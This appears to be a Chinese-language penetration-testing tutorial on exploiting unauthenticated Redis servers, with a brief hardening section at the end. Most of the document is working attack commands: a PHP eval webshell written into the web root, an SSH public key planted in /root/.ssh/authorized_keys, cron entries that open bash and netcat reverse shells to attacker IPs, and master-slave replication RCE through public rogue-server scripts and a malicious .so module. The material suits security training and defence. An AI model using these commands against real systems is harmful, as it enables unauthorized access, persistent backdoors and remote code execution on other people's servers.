漏洞简述


        Redis 是一个高性能的 Key - Value 数据库。Redis 的出现很大程度上弥补了 memcached 这类 Key/Value 存储的不足在部分场合可以对关系数据库起到很好的补充作用。Redis 默认情况下会绑定在 0.0.0.0:6379这样会将 Redis 服务暴露到公网上。在没有开启认证的情况下会导致任意用户在可以访问目标服务器的情况下未经授权就访问到 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法成功地在 Redis 服务器上写入公钥进而可以使用对应私钥直接登录目标服务器。



检测方法

  • 先用 nmap 扫描查看端口开放情况发现开放的 6379 端口为 Redis 的默认端口
Nmap -A -p 6379 --script redis-info 192.168.10.153


  • Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞具体命令如下
./redis-cli -h 192.168.10.153
Info


  • 批量检测脚本

https://github.com/code-scan/rescan


  • 就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。


漏洞利用

1、网站写马


利用条件:


  • 目标存在web目录
  • 已知web绝对路径
  • 存在写入权限
  • 适用范围:windows,linux版本。
  • ① 先用客户端连接服务器的 redis 服务

redis-cli.exe -h 目标IP


  • ② 连接后设置目录

config set dir /var/www/html    //此路径是服务器端 Web 网站的目录


  • ③ 设置要写入的文件名

config set dbfilename redis88.php      //redis88.php是一句话文件名称


  • ④ 设置要写入的内容

set webshell "<?php @eval($_POST['123']); ?>"      //webshell是名称,可以任意修改


  • ⑤ 保存

save


  • ⑥ 保存后用菜刀连接此木马得到 webshell。


2、结合ssh免密码登陆


利用条件:


  • root权限
  • 开启了ssh密钥登录,存在/etc/.ssh目录
  • ① 先在本地建个 ssh 的密钥

ssh-keygen -t rsa      //生成公钥/私钥对


  • ② 将公钥的内容写到一个文本中命令如下

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt      //注意写到文件中时一定要在前面加几行后面加几行。


  • ③ 将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下

cat test.txt |redis-cli -h <hostname> -x set test         //如果需要加入密码的话 -a 密码


  • ④ 登录远程服务器可以看到公钥已经添加到 Redis 的服务器上了命令如下

redis-cli -h <hostname>



keys *



get test


  • ⑤ 随后就是最关键的了Redis 有个 save 命令save 命令执行一个同步保存操作将当前 Redis 实例的所有数据快照snapshot以 RDB 文件的形式保存到硬盘。所以save 命令就可以将 test 里的公钥保存到 /root/.ssh 下要有权限。
  • 修改保存的路径为

config set dir "/root/.ssh"


  • 修改文件名为


config set dbfilename "authorized_keys"


  • 保存


save


  • ⑥ 测试一下

ssh 用户名@<IP地址>



3、利用contrab计划任务反弹shell


利用条件:


  • 权限可写计划任务
  • 使用范围:centos

config set dir /var/spool/cron



config set dbfilename root



flushall



set test "\n* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211/1234 0>&1\n"    //或者正向连接 "\n* * * * * nc -l -p 8994 -t -e /bin/bash \n"



save



备注:可以利用的cron的地方有如下几个地方


  • /etc/crontab     这个是肯定的
  • /etc/cron.d/       将任意文件写到该目录,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root      centOS系统下root用户的cron文件

如果目标机器为ubuntu系统的话,将计划任务写成如下格式:因为ubuntu调用的不是bash,而是dash,参考文章: 解决ubuntu crontab反弹shell失败的问题 · 大专栏


*/1 * * * * bash -c "bash -i >&/dev/tcp/123.207.x.x/1234 0>&1"


  • /var/spool/cron/crontabs/root       debian系统下root用户的cron文件


4、主从复制RCE


在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。


  • 利用脚本

https://github.com/n0b0dyCN/redis-rogue-server



python3 redis-rogue-server.py --rhost 192.168.160.146 --lhost 192.168.160.1


    通过脚本实现一键自动化getshell:


  • 1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand



cd RedisModules-ExecuteCommand/



make



  • 2、攻击端执行:python redis-rce.py -r 目标ip -p 目标端口 -L 本地ip -f 恶意.so

git clone https://github.com/Ridter/redis-rce.git



cd redis-rce/



cp ../src/module.so ./



pip install -r requirements.txt



python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so



* -r参数是指目标redis IP地址



* -L参数是指本机的ip地址


  • 执行命令后,本机21000端口生成一个redis服务,然后目标redis指定本机为主服务器,同步执行so文件。
  • 执行成功后可以选择生成一个交互的shell,或者重新反弹一个shell。


5、模块加载利用(利用前提是很多命令被限制不让用)

  • 1、上传so文件到服务器。

GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules!


            下载下来以后用make编译



  • 2、远程连接对方服务器

module load so文件路径          //加载模块



module list                     //查看模块列表



  • 3、模块利用

system.exec "命令"



system.rev 127.0.0.1 9999        //反弹shell



  • 4、模块卸载

module unload system



6、问题汇总

  • ( error) READONLY You can't write against a read only replica. 说明是主从关系中,设置了只读。通过如下命令可以更改为可写。

config set slave-read-only no



  • (error) ERR unknown command `config`, with args beginning with: `set`, `dir`, `/var/spool/cron/`,说明配置文件进行了修改,屏蔽了config等命令。


修复方法


1.禁止一些高危命令


  • 修改 redis.conf 文件,添加
  • rename-command FLUSHALL ""
  • rename-command CONFIG ""
  • rename-command EVAL ""
  • 来禁用远程修改 DB 文件地址

2.以低权限运行 Redis 服务


  • 为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
  • $ groupadd -r redis && useradd -r -g redis redis

3.为 Redis 添加密码验证


  • 修改 redis.conf 文件,添加
  • requirepass mypassword

4.禁止外网访问 Redis


  • 修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用,修改默认端口6379
  • bind 127.0.0.1

5.保证 authorized_keys 文件的安全


  • 为了保证安全,您应该阻止其他用户添加新的公钥。
  • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

$ chmod 400 ~/.ssh/authorized_keys


  • 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

# chattr +i ~/.ssh/authorized_keys


  • 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

# chattr +i ~/.ssh


  • 注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。